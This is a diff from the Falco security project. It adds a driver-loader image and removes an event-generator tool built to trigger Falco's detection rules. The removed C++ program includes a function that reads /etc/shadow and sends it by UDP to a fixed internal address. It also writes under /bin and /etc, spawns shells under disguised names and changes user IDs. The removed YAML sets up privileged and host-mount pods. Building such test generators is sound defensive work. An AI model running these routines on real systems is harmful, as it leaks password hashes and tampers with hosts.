+| [falcosecurity/falco-no-driver:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver), [falcosecurity/falco-no-driver:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver),[falcosecurity/falco-no-driver:master](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver) | docker/no-driver | Falco (TGZ built from git tag or from the master) without the building toolchain. | 
 | [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source. Used to build Falco (CI). | 
 | [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). | 
 | _to not be published_ | docker/local | Built on-the-fly and used by falco-tester. |

docker/driver-loader/Dockerfile

@@ -0,0 +1,13 @@
+ARG FALCO_IMAGE_TAG=latest
+FROM falcosecurity/falco:${FALCO_IMAGE_TAG}
+
+LABEL maintainer="cncf-falco-dev@lists.cncf.io"
+
+LABEL usage="docker run -i -t -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
+
+ENV HOST_ROOT /host
+ENV HOME /root
+
+COPY ./docker-entrypoint.sh /
+
+ENTRYPOINT ["/docker-entrypoint.sh"]

docker/driver-loader/docker-entrypoint.sh

@@ -1,5 +1,6 @@
+#!/usr/bin/env bash
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,5 +15,14 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 #
-image:
-	docker build -t sysdig/falco-event-generator:latest .
+
+
+echo "* Setting up /usr/src links from host"
+
+for i in "$HOST_ROOT/usr/src"/*
+do
+    base=$(basename "$i")
+    ln -s "$i" "/usr/src/$base"
+done
+
+/usr/bin/falco-driver-loader "$@"

docker/event-generator/Dockerfile

@@ -1,10 +0,0 @@
-FROM alpine:latest
-LABEL maintainer="cncf-falco-dev@lists.cncf.io"
-RUN apk add --no-cache bash g++ curl
-COPY ./event_generator.cpp /usr/local/bin
-COPY ./docker-entrypoint.sh ./k8s_event_generator.sh /
-COPY ./yaml /yaml
-RUN mkdir -p /var/lib/rpm
-RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
-RUN curl -o /usr/local/bin/kubectl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl && chmod +x /usr/local/bin/kubectl
-ENTRYPOINT ["/docker-entrypoint.sh"]

docker/event-generator/docker-entrypoint.sh

@@ -1,21 +0,0 @@
-#!/bin/bash
-
-CMD=${1:-syscall}
-
-shift
-
-set -euo pipefail
-
-if [[ "$CMD" == "syscall" ]]; then
-    /usr/local/bin/event_generator
-elif [[ "$CMD" == "k8s_audit" ]]; then
-    . k8s_event_generator.sh
-elif [[ "$CMD" == "bash" ]]; then
-    bash
-else
-    echo "Unknown command. Can be one of"
-    echo "   \"syscall\": generate falco syscall-related activity"
-    echo "   \"k8s_audit\": generate falco k8s audit-related activity"
-    echo "   \"bash\": spawn a shell"
-    exit 1
-fi

docker/event-generator/event-generator-k8saudit-deployment.yaml

@@ -1,23 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: falco-event-generator-k8saudit
-  labels:
-    app: falco-event-generator-k8saudit
-  namespace: falco-event-generator
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: falco-event-generator-k8saudit
-  template:
-    metadata:
-      labels:
-        app: falco-event-generator-k8saudit
-    spec:
-      serviceAccount: falco-event-generator
-      containers:
-      - name: falco-event-generator
-        image: falcosecurity/falco-event-generator
-        imagePullPolicy: Always
-        args: ["k8s_audit"]

docker/event-generator/event-generator-role-rolebinding-serviceaccount.yaml

@@ -1,71 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: falco-event-generator
-rules:
-- apiGroups:
-  - ""
-  resources:
-  - configmaps
-  - services
-  - serviceaccounts
-  - pods
-  verbs:
-  - list
-  - get
-  - create
-  - delete
-- apiGroups:
-  - apps
-  - extensions
-  resources:
-  - deployments
-  verbs:
-  - list
-  - get
-  - create
-  - delete
-- apiGroups:
-  - rbac.authorization.k8s.io
-  resources:
-  - roles
-  - rolebindings
-  verbs:
-  - get
-  - list
-  - create
-  - delete
-# These are only so the event generator can create roles that have these properties.
-# It will result in a falco alert for the rules "ClusterRole With Wildcard Created", "ClusterRole With Pod Exec Created"
-- apiGroups:
-  - ""
-  resources:
-  - pods/exec
-  verbs:
-  - get
-- apiGroups:
-  - ""
-  resources:
-  - '*'
-  verbs:
-  - get
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: falco-event-generator
-  namespace: falco-eg-sandbox
-subjects:
-  - kind: ServiceAccount
-    name: falco-event-generator
-    namespace: falco-event-generator
-roleRef:
-  kind: ClusterRole
-  name: falco-event-generator
-  apiGroup: rbac.authorization.k8s.io
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: falco-event-generator
-  namespace: falco-event-generator

docker/event-generator/event-generator-syscall-daemonset.yaml

@@ -1,20 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: falco-event-generator-syscall
-  labels:
-    app: falco-event-generator-syscall
-  namespace: falco-event-generator
-spec:
-  selector:
-    matchLabels:
-      name: falco-event-generator-syscall
-  template:
-    metadata:
-      labels:
-        name: falco-event-generator-syscall
-    spec:
-      containers:
-      - name: falco-event-generator
-        image: falcosecurity/falco-event-generator
-        args: ["syscall"]

docker/event-generator/event_generator.cpp

@@ -1,535 +0,0 @@
-/*
-Copyright (C) 2019 The Falco Authors.
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
-*/
-
-#include <cstdio>
-#include <utility>
-#include <map>
-#include <set>
-#include <string>
-#include <fstream>
-#include <sstream>
-#include <cstring>
-#include <cstdlib>
-#include <unistd.h>
-#include <getopt.h>
-#include <errno.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <pwd.h>
-#include <sys/socket.h>
-#include <arpa/inet.h>
-
-using namespace std;
-
-void usage(char *program)
-{
-	printf("Usage %s [options]\n\n", program);
-	printf("Options:\n");
-	printf("     -h/--help: show this help\n");
-	printf("     -a/--action: actions to perform. Can be one of the following:\n");
-	printf("          write_binary_dir                           Write to files below /bin\n");
-	printf("          write_etc                                  Write to files below /etc\n");
-	printf("          read_sensitive_file                        Read a sensitive file\n");
-	printf("          read_sensitive_file_after_startup          As a trusted program, wait a while,\n");
-	printf("                                                     then read a sensitive file\n");
-	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
-	printf("          spawn_shell                                Run a shell (bash)\n");
-	printf("                                                     Used by spawn_shell_under_httpd below\n");
-	printf("          spawn_shell_under_httpd                    Run a shell (bash) under a httpd process\n");
-	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
-	printf("                                                     another program\n");
-	printf("          modify_binary_dirs                         Modify a file below /bin\n");
-	printf("          mkdir_binary_dirs                          Create a directory below /bin\n");
-	printf("          change_thread_namespace                    Change namespace\n");
-	printf("          system_user_interactive                    Change to a system user and try to\n");
-	printf("                                                     run an interactive command\n");
-	printf("          network_activity                           Open network connections\n");
-	printf("                                                     (used by system_procs_network_activity below)\n");
-	printf("          system_procs_network_activity              Open network connections as a program\n");
-	printf("                                                     that should not perform network actions\n");
-	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
-	printf("          create_files_below_dev                     Create files below /dev\n");
-	printf("          exec_ls                                    execve() the program ls\n");
-	printf("                                                     (used by user_mgmt_binaries, db_program_spawn_process)\n");
-	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
-	printf("                                                     rules related to user management programs\n");
-	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
-	printf("                                                     specific address and port\n");
-	printf("          all                                        All of the above\n");
-	printf("       The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
-	printf("           as a colon-separated list\n");
-	printf("       if specified, -a/--action overrides any environment variables\n");
-	printf("     -i/--interval: Number of seconds between actions\n");
-	printf("     -o/--once: Perform actions once and exit\n");
-}
-
-void open_file(const char *filename, const char *flags)
-{
-	FILE *f = fopen(filename, flags);
-	if(f)
-	{
-		fclose(f);
-	}
-	else
-	{
-		fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
-	}
-}
-
-void exfiltration()
-{
-	ifstream shadow;
-
-	shadow.open("/etc/shadow");
-
-	printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
-
-	if(!shadow.is_open())
-	{
-		fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
-		return;
-	}
-
-	string line;
-	string shadow_contents;
-	while(getline(shadow, line))
-	{
-		shadow_contents += line;
-		shadow_contents += "\n";
-	}
-
-	int rc;
-	ssize_t sent;
-	int sock = socket(PF_INET, SOCK_DGRAM, 0);
-	struct sockaddr_in dest;
-
-	dest.sin_family = AF_INET;
-	dest.sin_port = htons(8197);
-	inet_aton("10.5.2.6", &(dest.sin_addr));
-
-	if((rc = connect(sock, (struct sockaddr *)&dest, sizeof(dest))) != 0)
-	{
-		fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
-		return;
-	}
-
-	if((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
-	{
-		fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
-		return;
-	}
-
-	close(sock);
-}
-
-void touch(const char *filename)
-{
-	open_file(filename, "w");
-}
-
-void read(const char *filename)
-{
-	open_file(filename, "r");
-}
-
-void become_user(const char *user)
-{
-	struct passwd *pw;
-	pw = getpwnam(user);
-	if(pw == NULL)
-	{
-		fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
-		exit(1);
-	}
-
-	int rc = setuid(pw->pw_uid);
-
-	if(rc != 0)
-	{
-		fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
-		exit(1);
-	}
-}
-
-void spawn(const char *cmd, char **argv, char **env)
-{
-	pid_t child;
-
-	// Fork a process, that way proc.duration is reset
-	if((child = fork()) == 0)
-	{
-		execve(cmd, argv, env);
-		fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void respawn(const char *cmd, const char *action, const char *interval)
-{
-	char *argv[] = {(char *)cmd,
-			(char *)"--action", (char *)action,
-			(char *)"--interval", (char *)interval,
-			(char *)"--once", NULL};
-
-	char *env[] = {NULL};
-
-	spawn(cmd, argv, env);
-}
-
-void write_binary_dir()
-{
-	printf("Writing to /bin/created-by-event-generator-sh...\n");
-	touch("/bin/created-by-event-generator-sh");
-}
-
-void write_etc()
-{
-	printf("Writing to /etc/created-by-event-generator-sh...\n");
-	touch("/etc/created-by-event-generator-sh");
-}
-
-void read_sensitive_file()
-{
-	printf("Reading /etc/shadow...\n");
-	read("/etc/shadow");
-}
-
-void read_sensitive_file_after_startup()
-{
-	printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
-	respawn("./httpd", "read_sensitive_file", "6");
-}
-
-void write_rpm_database()
-{
-	printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
-	touch("/var/lib/rpm/created-by-event-generator-sh");
-}
-
-void spawn_shell()
-{
-	printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
-	int rc;
-
-	if((rc = system("ls > /dev/null")) != 0)
-	{
-		fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
-	}
-}
-
-void spawn_shell_under_httpd()
-{
-	printf("Becoming the program \"httpd\" and then spawning a shell\n");
-	respawn("./httpd", "spawn_shell", "0");
-}
-
-void db_program_spawn_process()
-{
-	printf("Becoming the program \"mysql\" and then running ls\n");
-	respawn("./mysqld", "exec_ls", "0");
-}
-
-void modify_binary_dirs()
-{
-	printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
-
-	if(rename("/bin/true", "/bin/true.event-generator-sh") != 0)
-	{
-		fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
-	}
-	else
-	{
-		if(rename("/bin/true.event-generator-sh", "/bin/true") != 0)
-		{
-			fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
-		}
-	}
-}
-
-void mkdir_binary_dirs()
-{
-	printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
-	if(mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
-	{
-		fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
-	}
-}
-
-void change_thread_namespace()
-{
-	printf("Calling setns() to change namespaces...\n");
-	printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
-	// It doesn't matter that the arguments to setns are
-	// bogus. It's the attempt to call it that will trigger the
-	// rule.
-	setns(0, 0);
-}
-
-void system_user_interactive()
-{
-	pid_t child;
-
-	printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
-	// Fork a child and do everything in the child.
-	if((child = fork()) == 0)
-	{
-		become_user("daemon");
-		char *argv[] = {(char *)"/bin/login", NULL};
-		char *env[] = {NULL};
-		spawn("/bin/login", argv, env);
-		exit(0);
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void network_activity()
-{
-	printf("Connecting a udp socket to 10.2.3.4:8192...\n");
-	int rc;
-	int sock = socket(PF_INET, SOCK_DGRAM, 0);
-	struct sockaddr_in localhost;
-
-	localhost.sin_family = AF_INET;
-	localhost.sin_port = htons(8192);
-	inet_aton("10.2.3.4", &(localhost.sin_addr));
-
-	if((rc = connect(sock, (struct sockaddr *)&localhost, sizeof(localhost))) != 0)
-	{
-		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
-		return;
-	}
-
-	close(sock);
-}
-
-void system_procs_network_activity()
-{
-	printf("Becoming the program \"sha1sum\" and then performing network activity\n");
-	respawn("./sha1sum", "network_activity", "0");
-}
-
-void non_sudo_setuid()
-{
-	pid_t child;
-
-	printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
-
-	// Fork a child and do everything in the child.
-	if((child = fork()) == 0)
-	{
-		// First setuid to something non-root. Then try to setuid back to root.
-		become_user("daemon");
-		become_user("root");
-		exit(0);
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void create_files_below_dev()
-{
-	printf("Creating /dev/created-by-event-generator-sh...\n");
-	touch("/dev/created-by-event-generator-sh");
-}
-
-void exec_ls()
-{
-	char *argv[] = {(char *)"/bin/ls", NULL};
-	char *env[] = {NULL};
-	spawn("/bin/ls", argv, env);
-}
-
-void user_mgmt_binaries()
-{
-	printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
-	printf("NOTE: does not result in a falco notification in containers\n");
-	respawn("./vipw", "exec_ls", "0");
-}
-
-typedef void (*action_t)();
-
-map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
-					 {"write_etc", write_etc},
-					 {"read_sensitive_file", read_sensitive_file},
-					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
-					 {"write_rpm_database", write_rpm_database},
-					 {"spawn_shell", spawn_shell},
-					 {"spawn_shell_under_httpd", spawn_shell_under_httpd},
-					 {"db_program_spawn_process", db_program_spawn_process},
-					 {"modify_binary_dirs", modify_binary_dirs},
-					 {"mkdir_binary_dirs", mkdir_binary_dirs},
-					 {"change_thread_namespace", change_thread_namespace},
-					 {"system_user_interactive", system_user_interactive},
-					 {"network_activity", network_activity},
-					 {"system_procs_network_activity", system_procs_network_activity},
-					 {"non_sudo_setuid", non_sudo_setuid},
-					 {"create_files_below_dev", create_files_below_dev},
-					 {"exec_ls", exec_ls},
-					 {"user_mgmt_binaries", user_mgmt_binaries},
-					 {"exfiltration", exfiltration}};
-
-// Some actions don't directly result in suspicious behavior. These
-// actions are excluded from the ones run with -a all.
-set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
-
-void create_symlinks(const char *program)
-{
-	int rc;
-
-	// Some actions depend on this program being re-run as
-	// different program names like 'mysqld', 'httpd', etc. This
-	// sets up all the required symlinks.
-	const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
-
-	for(unsigned int i = 0; progs[i] != NULL; i++)
-	{
-		unlink(progs[i]);
-
-		if((rc = symlink(program, progs[i])) != 0)
-		{
-			fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
-		}
-	}
-}
-
-void run_actions(map<string, action_t> &actions, int interval, bool once)
-{
-	while(true)
-	{
-		for(auto action : actions)
-		{
-			printf("***Action %s\n", action.first.c_str());
-			action.second();
-			sleep(interval);
-		}
-		if(once)
-		{
-			break;
-		}
-	}
-}
-
-int main(int argc, char **argv)
-{
-	map<string, action_t> actions;
-	int op;
-	int long_index = 0;
-	int interval = 1;
-	bool once = false;
-	map<string, action_t>::iterator it;
-
-	static struct option long_options[] =
-		{
-			{"help", no_argument, 0, 'h'},
-			{"action", required_argument, 0, 'a'},
-			{"interval", required_argument, 0, 'i'},
-			{"once", no_argument, 0, 'o'},
-
-			{0, 0}};
-
-	//
-	// Parse the args
-	//
-	while((op = getopt_long(argc, argv,
-				"ha:i:l:o",
-				long_options, &long_index)) != -1)
-	{
-		switch(op)
-		{
-		case 'h':
-			usage(argv[0]);
-			exit(1);
-		case 'a':
-			// "all" is already implied
-			if(strcmp(optarg, "all") != 0)
-			{
-				if((it = defined_actions.find(optarg)) == defined_actions.end())
-				{
-					fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
-					exit(1);
-				}
-				actions.insert(*it);
-			}
-			break;
-		case 'i':
-			interval = atoi(optarg);
-			break;
-		case 'o':
-			once = true;
-			break;
-		default:
-			usage(argv[0]);
-			exit(1);
-		}
-	}
-
-	//
-	// Also look for actions in the environment. If specified, they
-	// override any specified on the command line.
-	//
-	char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
-
-	if(env_action)
-	{
-		actions.clear();
-
-		string envs(env_action);
-		istringstream ss(envs);
-		string item;
-		while(std::getline(ss, item, ':'))
-		{
-			if((it = defined_actions.find(item)) == defined_actions.end())
-			{
-				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
-				exit(1);
-			}
-			actions.insert(*it);
-		}
-	}
-
-	if(actions.size() == 0)
-	{
-		for(auto &act : defined_actions)
-		{
-			if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
-			{
-				actions.insert(act);
-			}
-		}
-	}
-
-	setvbuf(stdout, NULL, _IONBF, 0);
-	setvbuf(stderr, NULL, _IONBF, 0);
-	// Only create symlinks when running as the program event_generator
-	if(strstr(argv[0], "generator"))
-	{
-		create_symlinks(argv[0]);
-	}
-
-	run_actions(actions, interval, once);
-}

docker/event-generator/k8s_event_generator.sh

@@ -1,60 +0,0 @@
-#!/bin/bash
-
-set -euo pipefail
-
-# You can pass a specific falco rule name and only yaml files matching
-# that rule will be considered. The default is "all", meaning all yaml
-# files will be applied.
-
-RULE=${1:-all}
-
-# Replace any '/' in RULES with a '.' and any space with a dash. (K8s
-# label values can not contain slashes/spaces)
-RULE=$(echo "$RULE" | tr '/ ' '.-')
-
-echo "***Testing kubectl configuration..."
-kubectl version --short
-
-while true; do
-
-    # Delete all resources in the falco-eg-sandbox namespace
-    echo "***Deleting all resources in falco-eg-sandbox namespace..."
-    kubectl delete --all configmaps -n falco-eg-sandbox
-    kubectl delete --all deployments -n falco-eg-sandbox
-    kubectl delete --all services -n falco-eg-sandbox
-    kubectl delete --all roles -n falco-eg-sandbox
-    kubectl delete --all serviceaccounts -n falco-eg-sandbox
-
-    # We don't delete all rolebindings in the falco-eg-sandbox
-    # namespace, as that would also delete the rolebinding for the
-    # event generator itself.
-    kubectl delete rolebinding vanilla-role-binding -n falco-eg-sandbox || true
-
-    for file in yaml/*.yaml; do
-
-	MATCH=0
-	if [[ "${RULE}" == "all" ]]; then
-	    MATCH=1
-	else
-	    RET=$(grep -E "falco.rules:.*${RULE}" $file || true)
-	    if [[ "$RET" != "" ]]; then
-		MATCH=1
-	    fi
-	fi
-
-	if [[ $MATCH == 1 ]]; then
-	    MESSAGES=$(grep -E 'message' $file | cut -d: -f2 | tr '\n' ',')
-	    RULES=$(grep -E 'falco.rules' $file | cut -d: -f2 | tr '\n' ',')
-
-	    # The message uses dashes in place of spaces, convert them back to spaces
-	    MESSAGES=$(echo "$MESSAGES" | tr '-' ' ' | sed -e 's/ *//' | sed  -e 's/,$//')
-	    RULES=$(echo "$RULES" | tr '-' ' '| tr '.' '/' | sed -e 's/ *//' | sed  -e 's/,$//')
-
-	    echo "***$MESSAGES (Rule(s) $RULES)..."
-	    kubectl apply -f $file -n falco-eg-sandbox
-	    sleep 2
-	fi
-    done
-
-    sleep 10
-done

docker/event-generator/yaml/configmap-private-creds.yaml

@@ -1,15 +0,0 @@
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: private-creds-configmap
-  labels:
-    app.kubernetes.io/name: private-creds-configmap
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: Create.Modify-Configmap-With-Private-Credentials
-    message: Creating-configmap-with-private-credentials
-data:
-  ui.properties: |
-    color.good=purple
-    color.bad=yellow
-    allow.textmode=true
-    password=some_secret_password

docker/event-generator/yaml/disallowed-pod-deployment.yaml

@@ -1,24 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: disallowed-pod-deployment
-  labels:
-    app.kubernetes.io/name: disallowed-pod-deployment
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: Create-Disallowed-Pod
-    message: Creating-pod-with-image-outside-of-allowed-images
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: disallowed-pod-busybox
-  template:
-    metadata:
-      labels:
-        app.kubernetes.io/name: disallowed-pod-busybox
-        app.kubernetes.io/part-of: falco-event-generator
-    spec:
-      containers:
-        - name: busybox
-          image: busybox
-          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/hostnetwork-deployment.yaml

@@ -1,25 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: hostnetwork-deployment
-  labels:
-    app.kubernetes.io/name: hostnetwork-deployment
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: Create-HostNetwork-Pod
-    message: Creating-deployment-with-hostNetwork-true-pod
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: hostnetwork-busybox
-  template:
-    metadata:
-      labels:
-        app.kubernetes.io/name: hostnetwork-busybox
-        app.kubernetes.io/part-of: falco-event-generator
-    spec:
-      hostNetwork: true
-      containers:
-        - name: busybox
-          image: busybox
-          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/nodeport-service.yaml

@@ -1,15 +0,0 @@
-apiVersion: v1
-kind: Service
-metadata:
-  name: nodeport-service
-  labels:
-    app.kubernetes.io/name: nodeport-service
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: Create-NodePort-Service
-    message: Creating-service-of-type-NodePort
-spec:
-  type: NodePort
-  ports:
-    - port: 80
-  selector:
-    app: busybox

docker/event-generator/yaml/privileged-deployment.yaml

@@ -1,26 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: privileged-deployment
-  labels:
-    app.kubernetes.io/name: privileged-deployment
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: Create-Privileged-Pod
-    message: Creating-deployment-with-privileged-true-pod
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: privileged-busybox
-  template:
-    metadata:
-      labels:
-        app.kubernetes.io/name: privileged-busybox
-        app.kubernetes.io/part-of: falco-event-generator
-    spec:
-      containers:
-        - securityContext:
-            privileged: true
-          name: busybox
-          image: busybox
-          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/role-pod-exec.yaml

@@ -1,16 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: pod-exec-role
-  labels:
-    app.kubernetes.io/name: pod-exec-role
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: ClusterRole-With-Pod-Exec-Created
-    message: Creating-role-that-can-exec-to-pods
-rules:
-- apiGroups:
-    - ""
-  resources:
-    - "pods/exec"
-  verbs:
-    - get

docker/event-generator/yaml/role-wildcard-resources.yaml

@@ -1,16 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: wildcard-resources-role
-  labels:
-    app.kubernetes.io/name: wildcard-resources-role
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: ClusterRole-With-Write-Privileges-Created
-    message: Creating-role-with-wildcard-resources
-rules:
-- apiGroups:
-    - ""
-  resources:
-    - "*"
-  verbs:
-    - get

docker/event-generator/yaml/role-write-privileges.yaml

@@ -1,16 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: write-privileges-role
-  labels:
-    app.kubernetes.io/name: write-privileges-role
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: ClusterRole-With-Write-Privileges-Created
-    message: Creating-role-with-write-privileges
-rules:
-- apiGroups:
-    - ""
-  resources:
-    - "pods"
-  verbs:
-    - create

docker/event-generator/yaml/sensitive-mount-deployment.yaml

@@ -1,31 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: sensitive-mount-deployment
-  labels:
-    app.kubernetes.io/name: sensitive-mount-deployment
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: Create-Sensitive-Mount-Pod
-    message: Creating-deployment-with-pod-mounting-sensitive-path-from-host
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: sensitive-mount-busybox
-  template:
-    metadata:
-      labels:
-        app.kubernetes.io/name: sensitive-mount-busybox
-        app.kubernetes.io/part-of: falco-event-generator
-    spec:
-      containers:
-        - name: busybox
-          image: busybox
-          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
-          volumeMounts:
-            - mountPath: /host/etc
-              name: etc
-      volumes:
-        - name: etc
-          hostPath:
-            path: /etc

docker/event-generator/yaml/vanilla-configmap.yaml

@@ -1,14 +0,0 @@
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: vanilla-configmap
-  labels:
-    app.kubernetes.io/name: vanilla-configmap
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: K8s-ConfigMap-Created
-    message: Creating-configmap
-data:
-  ui.properties: |
-    color.good=purple
-    color.bad=yellow
-    allow.textmode=true

docker/event-generator/yaml/vanilla-deployment.yaml

@@ -1,24 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: vanilla-deployment
-  labels:
-    app.kubernetes.io/name: vanilla-deployment
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: K8s-Deployment-Created
-    message: Creating-deployment
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: vanilla-busybox
-  template:
-    metadata:
-      labels:
-        app.kubernetes.io/name: vanilla-busybox
-        app.kubernetes.io/part-of: falco-event-generator
-    spec:
-      containers:
-        - name: busybox
-          image: busybox
-          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/vanilla-role-rolebinding-serviceaccount.yaml

@@ -1,43 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: vanilla-role
-  labels:
-    app.kubernetes.io/name: vanilla-role
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: K8s-Role.Clusterrole-Created
-    message: Creating-role
-rules:
-- apiGroups:
-    - ""
-  resources:
-    - "pods"
-  verbs:
-    - list
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: vanilla-role-binding
-  labels:
-    app.kubernetes.io/name: vanilla-role-binding
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: K8s-Role.Clusterrolebinding-Created
-    message: Creating-rolebinding
-roleRef:
-  kind: Role
-  name: vanilla-role
-  apiGroup: rbac.authorization.k8s.io
-subjects:
-  - kind: ServiceAccount
-    name: vanilla-service-account
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: vanilla-serviceaccount
-  labels:
-    app.kubernetes.io/name: vanilla-serviceaccount
-    app.kubernetes.io/part-of: falco-event-generator
-    falco.rules: K8s-Serviceaccount-Created
-    message: Creating-serviceaccount

docker/event-generator/yaml/vanilla-service.yaml

@@ -1,15 +0,0 @@
-apiVersion: v1
-kind: Service
-metadata:
-  name: vanilla-service
-  labels:
-    app.kubernetes.io/name: vanilla-service
